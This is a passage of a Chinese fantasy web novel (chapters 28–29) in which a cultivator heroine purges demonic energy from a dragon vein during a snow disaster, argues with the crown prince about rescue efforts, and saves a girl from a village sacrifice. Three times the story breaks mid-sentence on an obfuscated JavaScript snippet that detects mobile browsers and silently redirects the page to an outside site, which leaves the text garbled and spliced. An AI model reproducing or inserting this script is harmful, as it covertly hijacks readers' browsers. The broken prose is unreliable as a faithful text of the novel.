余初晏却是容不得他多想,一手揽着他,一手提溜车夫,跃下马车。 失控的马匹最终撞进一座小院中,惹出一片惊呼后,侧翻倒地不止。 甫松开手,车夫双腿一软跪倒在地,冻得通红的面容上涕泗横流。 余初晏没管他,拍了拍呆滞的太子,“受伤了吗?” 赵景泽垂眸,良久摇了摇头。 余初晏心知他难受,与他一同去查看马车的情况。 马车还算完好,内里就乱得没法进人。 马驹也活着,前腿处镶着的破陶片让它流血不止,余初晏叹口气,上手拔出陶片,又给它敷上伤药。 整个过程,马驹都很配合,粗喘出的热气,让它鼻间结出一小片冰凌。 赵景泽在与屋主交涉,赔了他们一锭银子。 屋主却摇头道,这世道银两无用。 赵景泽强硬塞入他手中,“朝廷的赈灾粮布下来了,起初会免费发放一部分,等雪灾好转了,银两就有用了。” 屋主将信将疑,见他虽有狼狈,但衣着华贵,还是咬牙将银子收好。 马儿只能留在院中,赵景泽与屋主约定好,等府兵接走马车,与余初晏相携离开。 细雪不知何时停了,寒风仍然呼啸不断,赵景泽深一脚浅一脚踩在厚雪中,眼前被自己哈出的白气,晕染了视线。 余初晏握着他冰冷的手,替他挡住了凛然的风。 两人缓缓前行,心思各异,谁也没有开口说话,就这么走着,直到与前来相助的府兵汇合。 - “……没有活口,全是死士,属下可以肯定是暗阁之人从中作梗,挑起动乱。” 驿站内,向晖正与太子汇报刺客一事,余初晏坐在窗前,俯视楼下往来的侍卫。 “又是暗阁,父皇一事也是他们动的手脚!”赵景泽愤愤握拳。 余初晏还是第一次听说这个组织名,随意问了两句。 向晖和她解释,暗阁近十年活跃于人前,由前朝余孽组建,谁也不知他们规模多大、内有多少人、阁主又是何人。 只知他们一直暗中挑起三国纷争,时常下手暗杀各国皇室成员。 上回在澧都街上,刺杀赵景泽的正是他们。如今的天启皇帝也是因为曾经的储君被暗杀后,接替太子之位。 宫中针对陛下一事更有他们的影子,那名纵火烧房的太监,皇城司去其祖籍处查询时,方知他全家都已丧命,手段之残忍,分明就是暗阁行事风格。 修真者却是近来才出现,此前闻所未闻,前朝的修真者按理皆已被国师斩于战场上。 “大抵因为师尊身陨了。”余初晏思索,“大能陨落,其他修真者应当会有所感悟,实力高强的话。” 乱世之中,机缘更多,若无乱世,创造纷争。 宇宙周而复始,六十甲子轮回,距离师尊出世摆平前朝乱世,也接近六十年了。 天道衰落,众多大能于上一轮回中道陨,此时是最好修道、夺取天道奥妙的时机。 余初晏抬起右手,手心处的法则熠熠生辉。 这是她上一回破阵得天道相助时,从天道身上窃取的一缕法则,她至今不知该用在何处。 不然等遇到幕后黑手,直接用法则给他打得魂飞魄散,此界就再无人能与她争夺机缘。 该怎么把这只老鼠逮出来却是个问题。 向晖不知何时已经离房,赵景泽走到她身边,余初晏仍然望着手心出神。 直到赵景泽半蹲于她身前,将脸靠在她空无一物的掌心中。 余初晏回神,“怎么了?” “都是我太无用了,才让阿晏没法离开我身边,去修复龙脉。”赵景泽声音闷闷不乐。 余初晏顺势靠坐在窗台,将椅子让给赵景泽,有她在,寒风席卷不进室内。 “不要多想,我说过了,只要你站在这片土地上,龙脉已经开始修复了。” 至于赈灾之事,太子又能帮多少忙,起一个精神领袖的作用。 朝中本就有一套完整的赈灾流程,此次太子的亲随官多是熟手。 哪怕今晨突发事件稍微打乱了计划,但好在物资损失很少,众人也迅速重新整顿。 那名幼童,最后也没追他的责,他只道有人给他一捧生米,让他来刺杀太子,至于结果如何无所谓。 幼童不记得那人长相,只能算是暗阁人所为。 队伍目前于驿站休整,待明日重新整装后,将与地方军共同下到山间村落救援。 驿站附近支起了临时布施点与义诊处,城中百姓只消用极低的价格便能买到粮食。 待到日后以工代赈,减免税务,受灾地区迟早会恢复以往生机。 唯一不确定的,便是这场雪灾究竟会持续多久。 连余初晏也无法给出肯定回答。 此间缘由比较复杂,余初晏一时半会没法解释清楚。 龙脉受损引发天地异象,异象致使多地大雪不断,严寒不止。 修复龙脉后,异象虽停歇,但气温不会回转,两州很可能将一直维持这般状态,直到春临。 “所以连阿晏你都无法改变这种状态?”赵景泽追问。 他没能听懂个中缘由,只知春回还有近一个月,能否按时入春也无法肯定,长久冰冻,后续赈灾粮跟不上,灾民仍然难以生存。 还会消耗过多军粮,开春若是天启南下,届时边境发生战争,又是巨大的耗资。 一系列连锁反应,将会搅得青渊百姓疲敝不堪,百业凋敝,其他两国未必不会落井下石,青渊未来几年都不会安生。 这不正中了幕后之人下怀。 余初晏不语,还避开了他灼灼的目光。 赵景泽心中一沉,垂眼望着地面。 房中陷入死寂。 良久,他故作轻松一笑,“无妨,也不能万事都靠阿晏,既然是赈灾,那就需做好最坏的打算,我传信与父皇,让他再多备粮食送来。” “后头还有表姐家的物资,算算也快到了。” “还可请求天启一方救援,他们久居北地,冬日常持续四五月,如何应对严冬早已烂熟于心……” “你救不了。”余初晏说,“那边山谷,我望见一片死气,人应该已经死尽了。” 赵景泽的笑意僵在脸上,余初晏像是没看见,自顾自往下说,“不仅如此,整个龙脉附近到处都是类似的死气团,一两个人死亡不可能汇成这样的规模,至少上百人……” 她手一指,将方位逐个指给赵景泽瞧。 “够了!”赵景泽匆忙打断她。 “城中情况看上去很好,是因为他们将死人全都扔进河中,我就说我为何没能第一时间探明水下刺客……” “别说了……阿晏!”赵景泽腾地起身,面露祈求。 余初晏仰头与他对视,神情平淡。 赵景泽颤声问:“所以,阿晏你有办法救他们是吗?” “有,但是没有必要,龙脉不断绝,此地的生机就不会断绝,总有一日人会回来。” 况且死了些人,其他万物有了生存的空间,龙脉从不只靠人类变强。 余初晏又转头,遥望着排队等待物资发放的人群,他们之中有一半的人,活不过一周。 但剩余活下来的,将会是这片土地的生机。 “那父皇你又为何能救?”赵景泽不死心。 余初晏疑惑,“那能一样吗?陛下是皇帝,是真龙天子,他的死亡才是真正动摇根基,而这些不过是一群凡人罢了。” 赵景泽震声反驳,“他们才是青渊的根基!” - 赵景泽走了,与余初晏大吵一架后,甩袖离去。 余初晏目送他步履匆匆前往贺家军所在军营,她想,若是贺鸣和她一样理智,就知道不该涉险前往山间救那些多半已经死亡的村民。 但贺鸣同意加急出兵,连夜前往救援,车马带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620842|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了一大半。 黄昏时分,燃烧的火把构成一条长龙,朝着夜色中前进。 向晖带着几名亲随官留下,前往县令家中搜集罪证,知州已经被限制在驿站之中。 随侍进来送了一次晚膳,又很快离开,余初晏久久坐在窗前,怎么也想不明白,小龙崽子居然因此跟她争吵。 想着想着,余初晏也恼了,有本事他自己救人,又何必来找她帮忙,她只不过不想浪费灵力做一些没有回报之事,有什么错? 越想越气,余初晏晚膳没用,也没告知任何人,独自跃出驿站。 一盏茶后,她抵达了一座寺庙。 庙不大,和她住的听荷殿差不多大小,内里却挤满无家可归的人。 他们被冻得瑟瑟发抖,紧紧依靠在一起,身上裹着草料,混合着由破烂赃物衣服缝制的被褥。 庙中摆了炭盆,只有星星点点微弱火光,几乎无法取暖。 但这群人谁也没有争抢,将离炭盆最近的地方留给老人与孩童。 寺里的老主持若有所觉,来到院中。 甫见到余初晏,他微微一惊,似乎在迷惑为何会有女子夜里拜访,瞧着衣着不像是无家可归的模样。 试探性问:“天寒地冻,施主缘何来小庙?” 余初晏瞥一眼他,“你的庙要塌了,若是再不清理屋顶的雪。” 老主持苦笑,“庙中皆是老人、孩童或是身有残疾之人,饭都吃不饱,哪有功夫清理屋顶。” 余初晏随手一挥,屋顶的雪窸窸窣窣落下,惊扰了不少庙中人。 老主持连声道谢,询问余初晏的来意。 “龙脉。”余初晏言简意赅。 老主持面露警惕,“农麦?这里可没有什么粮食!” 他的口音让余初晏有些失语,没接他的话头,四处张望片刻,径直来到一口井前。 井口被石板盖着,再由厚重的巨石压于盖上,缝隙处还淋水成冰,封得严严实实。 “这是为了避免孩子不慎跌进井里。”老主持明显紧张起来。 他的阻拦并未起作用,石块与石板都已被余初晏轻轻揭走。 往下一探,井很深,能瞧见粼粼水光,水波下金光流转——是龙脉。 老主持长叹一声,见阻止不成,终究是步履艰难地离开。 回屋前,一枚木制令牌砸到他的背上,他弯腰拾起。 “凭此去驿站领点炭火和食物吧,能领多少就不知了。” 女子清悦的尾音消失在暮色中,他定睛望去,井边哪还有余初晏的身影。 - 避水符护身,余初晏跳进井中。 甫一入水,暗流涌动之声吞没了其余声音。 未等她适应水下昏暗的环境,磅礴的黑色灵力朝她冲击而来,裹挟着凌厉的水刃。 刹那间青渊剑出鞘,凛然的剑光挡下这突来的袭击。 长剑一抖,与纠缠龙脉的黑气缠斗起来。 准确来说是魔气,余初晏很久未见如此精纯的魔气,上一次还是在她两岁之时,彼时她还未上玉虚山。 居然是魔修,余初晏转念一想又觉得合理,只有魔修才会用这般下作的手段。 青渊剑挥出,龙脉附在其上,卷出一道如蛟似龙的漩涡,与魔气狠狠撞在一起。 巨大的余波另余初晏不得不捏诀护体,水中作战到底不是她擅长的领域。 她猛地下潜,将心中所感分与龙脉,龙脉为她开路,引着她来到一处巨大的溶洞内。 魔气如跗骨之蛆,紧紧缠于龙脉上,稍不留神,又有吞噬龙脉之势。 上了岸后,余初晏冷笑,区区魔修零散的魔气,也敢在她面前造次。 她单手持剑,横于胸前,另只手飞速结印,拂过剑身,青渊剑迸发出金光,伴随着剧烈的嗡鸣。 脑中闪过师尊无数道挥剑的身影,余初晏轻轻闭眼,再度睁眼时,手中长剑猛然刺出。 “九阙剑法第七式——破邪!” 这一瞬间她的身影与脑海中师尊的身影彻底融为一体。 破空的剑意,伴随着恢宏的灵力,浩浩荡荡冲向魔气。 28. 除魔 贺鸣忽然感受到一阵强烈的晃动,他眼疾手快将躲藏于桌底的孩子抱起,冲出屋外。 在他身后,摇摇欲坠的草屋骤然崩塌,扬起一片雪尘。 马匹不安地嘶鸣,昏暗中,唯有不断落下的冰锥,证明方才的地动并非幻觉。 赵景泽手中半抱着一名失去意识的老妪,大氅裹在她身上。 “发生什么了?”他也感知到短暂的晃动。 “地动?”贺鸣神情严肃,雪灾加上地动,山间的积雪多半会崩塌滚落。 “殿下,还请加快速度,我们必须马上撤离此处。” 若是晚上一步,极有可能被埋于深雪之中,性命不保。 赵景泽回望隐在黑暗中的山村,下令撤退,带上幸存村民一同。 如余初晏所说,这间村落中只有寥寥几人存活,其中几人因着长期无粮,竟以人尸为食。 贺家军赶到时,他们已经不满足于冻得生硬的尸首,对幸存同伴伸出魔爪,贺鸣不得不杀死他们。 赵景泽怀中的老妪与贺鸣带出的女孩,皆是趁乱躲藏起来,才避免被食的下场。 靠着尚未失去意识的女孩指路,他们又救出了几人,并迅速撤出山谷。 果不其然,不久后山村彻底被山间滑落的雪淹没。 这还只是他们救援的第一个村落,形式就已如此严峻,众人的心不自觉沉入谷底。 作为主心骨的赵景泽咬牙,“继续!灾民不等人,动作快些,就能多救回两个!” 贺鸣分出了一批府兵将幸存村民送至救助点,太医团队已经候在其中。 光从山间将他们救回还不够,严重的冻伤与长期未进食都让他们状况极为严峻,后续即使有太医救治,也未必能成活。 赵景泽当然知道这一点,脑中不断闪过余初晏堪称冷漠的神情,她说他救不了他们。 “殿下,用些热水。”贺鸣随手递过一个水囊,“太子妃怎未与您一同?” 赵景泽握着水囊,并未饮用,沉默半响,道:“她有更重要的事。” 大祭之时,贺鸣也在百官队伍中,隐隐猜到余初晏另有任务,他点头,“幸好今日太子妃殿下警醒并指明方向,若是等明日再出发,这些人怕是等不到救助。” 赵景泽一怔,“你是说阿晏特意将受灾最严重之地指明给我……” 确实如此,余初晏所指之处,说是死者最多,何尝不是受灾最重。 他记在心中,甫一与贺鸣碰面,就迅速在舆图上标明方向,结合本地舆图分析出村落所在地。 阿晏定有其他原因不能出手,为父皇破阵那日,她不就受了一记旁人看来堪称恐怖的雷击,所以只能旁敲侧击,催促他行动。 他确实救不了所有人,这无异于痴人说梦,赵景泽唯一能做的便是救下那些还在苦苦挣扎的幸存者。 阿晏分明是看出了这一点,他却还要与之争吵,摔门而去。 赵景泽没了喝水的心思,回想他离开前,余初晏不解的眼神,就恨不得穿回去揍自己一顿。 阿晏还会原谅他吗,阿晏现在在做什么,用了晚膳吗,龙脉修复会不会很难,赵景泽忍不住胡思乱想。 队伍行至下一个村落,他甩开纷杂的思绪,抓紧投入到援救中,他可不能辜负余初晏的期盼,定要救下更多的人! - 溶洞里暴雨倾盆,几息后归于平静。 余初晏铮地将青渊收入鞘中,剑光隐没,暴起的灵力也随之收拢于她体内。 唯有被她一剑轰出的巨大坑洞墙上,还有灵力残余。 手中捏着一缕失去反抗的魔气,余初晏左右打量,看不出什么门道,便随意装进小瓶子里,又用天机盒锁好,扔进芥子中。 重新回到水边,余初晏蹲下,右手轻触水面,泛起一阵波纹。 耐心等待了一会,金色的灵力才如孩童般小心探出触须,试探着触碰她的手心。 显然余初晏方才那一剑,将龙脉吓得不清。 余初晏承认她有泄愤的行为,谁让小龙崽子跟她吵架。 也没想到自己那一下威力居然如此声势浩大。 龙脉讨好地缠在她右臂上,和小龙崽一样爱撒娇,不愧是一脉相承。 余初晏安抚性地检查它,这一块的魔气已经被彻底祛除,龙脉损伤虽严重,但还是能自愈的程度。 她盘腿运功,吸收龙脉周身四溢的灵力的同时,顺手助它自愈。 接下来几天,她顺着龙脉四处祛除作乱的魔气。 龙脉将自己保护得很好,虽有几处被聚集的魔气啃食得不成形,都被它舍弃,断尾求生,其他区域基本只有几缕落单魔气。 也或许因为小龙崽子在此,龙脉有了反抗的资本,有余初晏相助更是如虎添翼,一鼓作气将所有魔气一网打尽。 短短一周,余初晏修为突飞猛进,直冲至筑基大圆满之境,离结丹仅有一步之遥。 又结束一日的吐纳,余初晏蹙眉从入定中清醒。 虽说触及了大圆满,但她总觉得缺些什么才能结丹。 随手将在她膝上撒泼打滚的龙脉拂开,余初晏没好气道:“你是龙脉,不是狗。” 真是,有什么样的龙脉,就有什么样的真龙。 接连待在昏暗潮湿的溶洞里,哪怕灵力充沛,余初晏也有些腻了。 伸个懒腰,神识往外探,找寻出口。 龙脉不舍得她就此离去,缠在手臂上试图妨碍她的探视,被她一巴掌拍开。 “以后再来看你。”敷衍地许诺,探明方向的余初晏踏水而行。 顺着地下河道往上,穿过狭窄的小径,踏过不知名的碎骨,不多时余初晏行到一处出口,巨大的山洞口透出刺眼的白光。 空中仍然被层层叠叠的云层覆盖,不见曦月。 洞外嘈杂的人声传来,伴随着祭祀用的晃铃声。 余初晏定神聆听,发现那些人在祈求山神的庇护。 一名神婆赤脚于雪地上起舞,口中念念有词,晃铃声正是她手中发出。 凡间相信神明居住在深山的山洞中,以往在玉虚山,也常有凡人上山寻仙,虽然那些人从未发现她与师尊。 显然这座山洞便是附近村民祝祷之地,临近洞口还有简单的祭坛、神像,与以往祭祀残留的不知被各种动物啃食过的祭品。 余初晏本想等他们祭祀完离去后再出山洞,还在腹诽小龙崽说赈灾也不过如此,还让村民靠祈神的手段试图自救。 结果下一瞬,一名少女被捂着嘴五花大绑抬进洞中。 眼见着她就要扔下深不见底的坑中,靠坐在山壁的余初晏不得不出手将其捞上来。 心想难怪路上有白骨,除了不慎跌入其中的倒霉蛋,还有这些可怜的祭品“山神新娘”。 那些抬她进来的瘦削汉子瞪大双眼,高呼着“山神显灵了”,边狼狈地冲出洞外。 只留下贴着隐身符的余初晏,与她手中拧着的少女。 比素兰还轻,身上没二两肉,瘦的皮包骨,眼睛倒是很大,瞪圆的时候更大了。 少女看不见余初晏,只觉得自己似乎被什么提住了衣领,红肿的眼睛早就没有眼泪流出了,连挣扎的力气都没有。 只能从瞳孔中透露出深深的恐惧,对于未知的恐惧。 龙脉听到动静,悄悄从山壁间流窜而出,倒挂在钟乳石上暗中观察。 几息后,神婆匆匆忙带人赶进洞中,眼含希冀。 余初晏已经替少女解了绑,将她扔到祭坛边,想了想在她面前留了一盘点心。 女孩先是警惕地四处张望,等神婆带人冲上前,她紧紧抱着点心,狼吞虎咽地往口中塞。 “她手中有食物!”村民蠢蠢欲动,眼里折射出贪婪的光。 神婆拦住了他们,跪伏于地,高声恳求山神再次显灵。 女孩冷眼旁观,口中咀嚼慢了些,护食的动作一如既往。 “二丫。”人群里一位面黄肌瘦的妇女喊道。 女孩神情微微动容,眼里浮出泪光,死死扣着手中的盘子没有吭声。 “二丫!你弟弟快饿死了!娘求你分些食物给他吧!”妇人继续喊。 连带她身旁瘦弱的男子也开口:“二丫,你是姐姐,理应帮助弟弟,若不是我们将你选做山神新娘,你哪来的食物可用!” 余初晏坐在祭坛神像肩头,目睹着女孩身体轻轻颤抖,咬着牙不让眼泪流出。 她愤愤地将点心全塞入口中,也不管自己是否会因此噎到。 神婆祈求半响也不见有新的食物,村民躁动不安,终于是有人按捺不住冲上前,想要抓出少女。 少女想往石像后躲,却因腿脚无力摔倒在地,伏在地上剧烈咳嗽,未能吞下的点心飞沫与她眼泪混杂,说不出的狼狈。 她还想要去捡拾地上的碎屑,身后又有即将抓住她的村民。 “掉地上了,就不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628950|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃了。”余初晏轻叹一声。 挥袖将冲上前的村民拂开,重重的摔到十步开外的地面,又单手给女孩拧起来,拿出帕子给她擦脸。 女孩干裂的嘴唇满是细小的血口,被帕子轻柔拂过,脸上灰尘污渍除尽,眼泪却止不住。 她眼中倒映着解除隐身符的余初晏,身后是跪在地上,瑟瑟发抖请求山神原谅的村民。 山神怎么会是女子啊?她心想。 “喝水,点心不要用这么快,你要噎死你自己吗?”余初晏不满她的呆愣,手中捧着水球就要喂给她。 真瘦,头发像枯草,脸上饿得两颊凹陷,是个丑丫头。 不过眼神不错,余初晏趁她乖乖喝水,摸了摸她的头顶。 龙脉不高兴了,撞开女孩,挤到余初晏手心。 余初晏眼疾手快把女孩捞回来,嘴上呵斥:“干什么你?” 龙脉没被吓到,重新攀回余初晏肩头,讨好地蹭蹭。 那群村民被吓得连连跪地求饶。 瞎了一只眼的神婆颤颤巍巍道:“很抱歉冒犯了您的新娘,山神大人……” 余初晏:“……”瞎了一只眼难怪眼神不好。 将女孩提回祭坛上坐好,依稀记得凡人不能一次性喂太多食物,便拿了个丹药给她吃。 算不上什么好丹药,都是些师尊炼丹的失败品,对修真者来说无用,对凡人来说反而是补品。 女孩吃下后,肉眼可见的面色红润,身体疼痛与之前的伤痕都消失了,虽然还是瘦弱不堪,但四肢充盈着力量。 她惊奇地仰头望着挡在她身前的余初晏。 将村民眼底的贪婪与希望尽收眼底,余初晏踱步,“朝廷的赈灾队伍按理已经在附近,你们不找朝廷的人讨粮买粮,反而来祭拜山神。” 用一个无辜少女的性命换粮。 神婆哽咽,“大雪封山,我等下不去,朝廷之人上不来……若非山中资源丰富,又因地处偏僻,村中常囤积粮货……如今粮尽援绝,才出此下策。” 这神婆说话文绉绉的,应当是个读书人,没有眼珠的眼白与另一只黝黑的瞳孔,给人一种说不出的诡异感。 她似乎能隐隐察觉到龙脉,目光流连在余初晏肩头,也不知道具体能看到多少。 但不管怎么说,她绝对知晓献祭一事毫无作用,不过平白害死一条人命。 并且因着她不是主使者,又担着祭司职位,沾染上的因果微乎其微。 反倒是这些村民被因果束缚,显然此前也没少献祭。 余初晏平静地注视着他们,直看得神婆额角渗出冷汗,完好的瞳孔惊颤不已。 而后她低下头,“恳请山神怜悯——” “您既然已经收下了新娘,何故不给我们吃食……”有村民大着胆子抬头直视余初晏。 “闭嘴!”神婆猛然回头呵斥,复又以头抢地,“村民无知,还请山神眷顾——” 这群人中,几乎都是青壮年,妇女老人极少,年轻女子几乎没有。 孩童有,但不在附近,应当被妥善安排在其他地方。 余初晏偏头问名为“二丫”的女孩:“你觉得呢,我该不该给他们吃食?” 二丫站直身,傻愣愣地与余初晏对视,又移开视线看着昔日的亲人、邻居。 之前那瘦弱的男子抬头就喊:“二丫……” 余初晏扭头一个弹指,他的嘴向被外力缝在一起,无论如何都发不出声音,只能惊恐地摸着自己的喉咙和嘴。 他试图像周围人求救,村民却慌忙退开几步,避他如蛇蝎。 “我……”二丫开口,声音干涩而沙哑。 不久前高高在上的神婆、对她暴力相加的村民,如今都只能仰视她。 二丫定了定神,眼神从怯懦躲避,到逐渐坚定,“我……” “就是这里——大人们快救救二丫阿姊!” 杂乱的脚步声于洞外响起,众人纷纷扭头。 二丫受到惊吓,又躲回余初晏身后,闭口不言。 余初晏眉心微蹙,她的感知又被龙脉干扰,伸手揪着龙脉给它扔一边。 是贺家军,几日未见的小龙崽子也在其中。 赵景泽一边愤然道:“本宫倒要看看哪来的江湖骗子作祟,活活害死人命,定不轻饶她!” 一边与站在高高祭坛上的余初晏撞上了视线。 赵景泽:“……” “阿晏?!!” 29. 信仰之力 记仇的余初晏没理赵景泽,既然赈灾队伍来了,这里就不归她管了。 板着脸就往洞外走,途径神婆时,后者伸手想拦,却像被什么蛰了一口,迅速收回手。 二丫跌跌撞撞跟在她身后,光着的脚被碎石划破也不在意。 贺家军迅速将村民围困起来,为首的神婆更是直接拿下。 贺鸣朝着余初晏颔首,余初晏也没给他好脸色。 走到洞外,白茫茫的一片惹得余初晏眯起眼,鼻间是冷冽的空气,比洞穴里潮湿古怪的气味好受多了。 身后有人跌倒,摔进积雪中,她回头发现是二丫。 又将她提起来,目光落到她冻得皲裂的脚上,“跟着我做什么?” 二丫被雪光刺得泪流满面,拼命抓着余初晏不愿松手,像是抓住了救命稻草。 余初晏无奈,朝洞外的贺家军士兵挥挥手,找他们拿了块兽皮毯裹着她扔在马上。 从未骑过马的二丫很不安,目光惶惶地望着余初晏。 “何时下山?”余初晏问士兵。 士兵拿捏不准,不敢作答。 余初晏耐心地等了会,直到贺家军压着村民出洞。 因着最终没闹出人命,贺鸣只口头警告他们一番。 虽说领路的孩子曾言村中并非头一次举行类似的山神献祭,但证据不足情况下,贺鸣到底没法治罪。 神婆对着余初晏神神叨叨感谢一番,大概意思为若不是因为余初晏,赈灾队伍也上不来村落,村民也无法获救。 余初晏不置可否,即使这群村民此番活下来了,日后迟早会因常年活祭死于非命,因果报应。 目送村民离去,余初晏问二丫:“你不和你的爹娘回去吗?” 二丫垂着眼,摇头,“不了,他们抛下我了。” 余初晏点点头,她能理解被父母抛下的心情,因为她同样如此。 她抬起右手臂,龙脉还附在上头,“你该回去了。” 龙脉依依不舍,也知该与余初晏分别,乱蹭了一会才一步三回头离开。 路上还将试图靠近余初晏的赵景泽撞开。 好端端走在路上的赵景泽:“?”方才好像有什么东西撞到他了,可他周围分明没有它物。 “阿晏。”赵景泽期期艾艾喊她,踟蹰不敢接近。 余初晏看他一眼,语气很冲,“做什么?” “那是我的马……”赵景泽眼巴巴在她与二丫之间来回望,“她就是那位‘祭品’?” 余初晏当然知道是赵景泽的马,所以才将二丫放在上面。 顺手摸了摸马头,棕马打了个响鼻,乖顺地由着余初晏接近。 赵景泽心酸了,不知是酸谁,这匹马他费了很大的功夫才驯服,平时脾气不怎么好,除了他也不怎么叫人近身。 现在余初晏说摸就能摸,放个陌生人在它身上也不闹腾。 余初晏也是,对马、对一个小丫头都比对他好。 周围的士兵撤得差不多了,剩下几人护卫太子,安静地候在不远处。 余初晏牵着马往前,头也不回招呼赵景泽,“走了,你留在这当山神吧。” 赵景泽这才追上去,皂靴踩在雪上,咯吱作响。 “阿晏,你在此处做什么?”他垂头观察余初晏的神情。 余初晏撇嘴:“太子殿下忙着赈灾,费心管我做什么?” 赵景泽用尾指去勾余初晏的尾指,见她只是冷冷瞥一眼,并未将手抽走,又得寸进尺去握她手。 握住后还得意地晃了晃,被余初晏瞪了一眼,“干什么?你那天不是说我太冷漠吗,太子殿下离远些,可别被我冻坏了。” “我错了,阿晏原谅我嘛。”赵景泽讨饶,“真错了,我不该这么说,我已经弄明白阿晏的良苦用心了……” 一路上小龙崽子都在翻来覆去道歉,念得余初晏不胜其烦。 等到了村落中,她毫不犹豫将赵景泽赶走,让他去干正事。 而余初晏则抱着二丫,去她家中。 二丫原本抗拒不已,余初晏瞥一眼她,“去把你的衣服鞋子穿好。” 二丫一愣,吸着鼻子指路。 因着村民还被压在广场上,两人畅通无阻来到摇摇欲坠的土坯房中。 屋顶的残雪被清理得很干净,只覆着一层薄薄的冰,二丫指着屋顶说是她清理的。 余初晏轻“嗯”一声,夸她能干,二丫眼泪又落下来了。 边哭边从房内翻出她打满补丁的夹袄穿上,那是她唯一一件塞着棉絮的冬衣,又找了双不怎么合脚的鞋子。 从床头的砖头后摸出十来个铜板,紧紧收在怀中,抹着眼泪牵余初晏的手,她方才偷看到赵景泽的动作。 “你多大?”余初晏问。 “虚岁十四。”二丫答,“村子里,十四岁就要嫁出去了,换亲进来。本来我年后就该嫁的,被选成了山神的新娘。” 十三岁啊,比贺吟还小些,余初晏任由她牵着,一同去广场上。 “会读书写字吗?” 二丫猛地摇头,方圆百里都没有学堂,况且一个女孩怎么可能被送去念书。 真麻烦啊,余初晏心想。 村上,贺家军已经搭起了施粥的棚子,但因为之前活祭一事,管事的偷偷扣下了一些粮食,粥煮得很稀。 余初晏望了一眼,便带着她去赵景泽的帐篷,轻车熟路地摸走了太子的晚膳,分给二丫吃。 亲随们哪敢多说一个字,眼睁睁看着太子妃带着脏兮兮的山间小丫头坐在他们铺好的塌上,用着太子的晚膳。 “贺吟在哪,你知道吗?”余初晏随口问道。 亲随马上垂首答道:“回殿下,贺三小姐与贺二少都留置在驿站中。” 余初晏点头,她不会带孩子,尤其还要教人念书,看看贺家能带着她吗,若是不能就只好带回京中扔给素兰养着。 既然救了她,因果已经束上,好歹有始有终,给她个相对完整的人生。 反正她两都一样,是不被父母期待的孩子,初晏这个名字还是师尊为她取的。而二丫这个名字敷衍得很,一听就是随口取的贱名。 余初晏垂着眼,看二丫随意用了些东西,就裹着毯子缩成一团睡着了。 她便起身离开,又去到施粥处。 大部分村民已经用过粥食,正排队买粮。 灾粮价格压得很低,比往日非灾时的粮价远低得多,布匹也是。 村民的积蓄都用来买粮布了,他们实在太害怕饥寒交迫的日子了,木炭还可以去山中拾柴烧制,粮食等赈灾队一走,未必就买得到了。 天还未完全暗下来,见到余初晏后,绝大部分村民眼中闪过忌惮与畏惧。 尤其是还不能开口说话的二丫爹,生怕自己成了哑巴,扑腾一下跪倒余初晏跟前。 余初晏没理他,她在看那些村民,又没在看村民本身,而是他们身上的与余初晏身上连通的细线。 她闭眼复又睁开,眼中有金线流动,又是信仰之力。 此前她在宫中逆阵那日,也曾收获过一小批信仰之力。 当时她猜测除了春桃是感激她救命之恩,其余多是因为她凡人所不能及的能力,是崇拜、是憧憬。 今日又不同,他们的信仰中夹杂着恐惧,对未知力量的恐惧。 凡人居然会对他们恐惧之物产生信仰,余初晏若有所思。 宫中侍卫和她相熟,知道她不会随意伤人,脾性还算温和,故此他们对她的尊敬中几乎不掺杂恐惧。 相反他们对皇权、对青渊帝很是敬畏,对赵景泽却是还好,更多也是因为敬畏青渊帝,才尊敬太子。 但这些村民不同,他们不了解余初晏,只见识了她诡谲的手段、疑似山神的身份。 不同于侍卫又敬爱又畏惧青渊帝,他们只是纯粹的恐惧,因恐惧而臣服,因恐惧而信仰。 余初晏觉得很有意思,她甚至轻轻笑起来,那些村民果然吓得瑟瑟发抖,买粮的队伍止步不前,引来了士兵的呵斥。 解除了二丫爹身上的禁言咒后,余初晏施施然离开,在她走后队伍恢复了秩序。 心有顿悟的余初晏,仿佛摸到了一丝“道”的迹象,也明白了跨越结丹瓶颈的方法——大量信仰之力。 至于如何获得,余初晏也有了初步计划。 虽说相伴而来的极有可能是大量业果缠身,但利大于弊,若过于害怕沾染因果,反而会止步不前。 结丹有了着落,余初晏心情愉悦,见到来找她的小龙崽,都大度地选择原谅,勾着他的脖子,吸了两口龙气。 原本是来捍卫自己帐篷的赵景泽,被她这么一弄,晕晕乎乎又被余初晏赶出帐篷。站在寒风中冷静片刻,最后只能同定边侯去挤一挤。 - 一周后,巴丘县驿站内。 余初晏端着铜镜,镜中之人行走在华贵的府邸间,她转过头与身后人谈笑,印在镜面的容貌赫然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽为鱼米之乡,光靠储备粮也支撑不起如此多的消耗,尤其连捕鱼都难以做到。 巴丘失去了傲然的交通手段,成了一座困守于冰雪的围城。 城中人有财力、能力出逃的,早已离开。 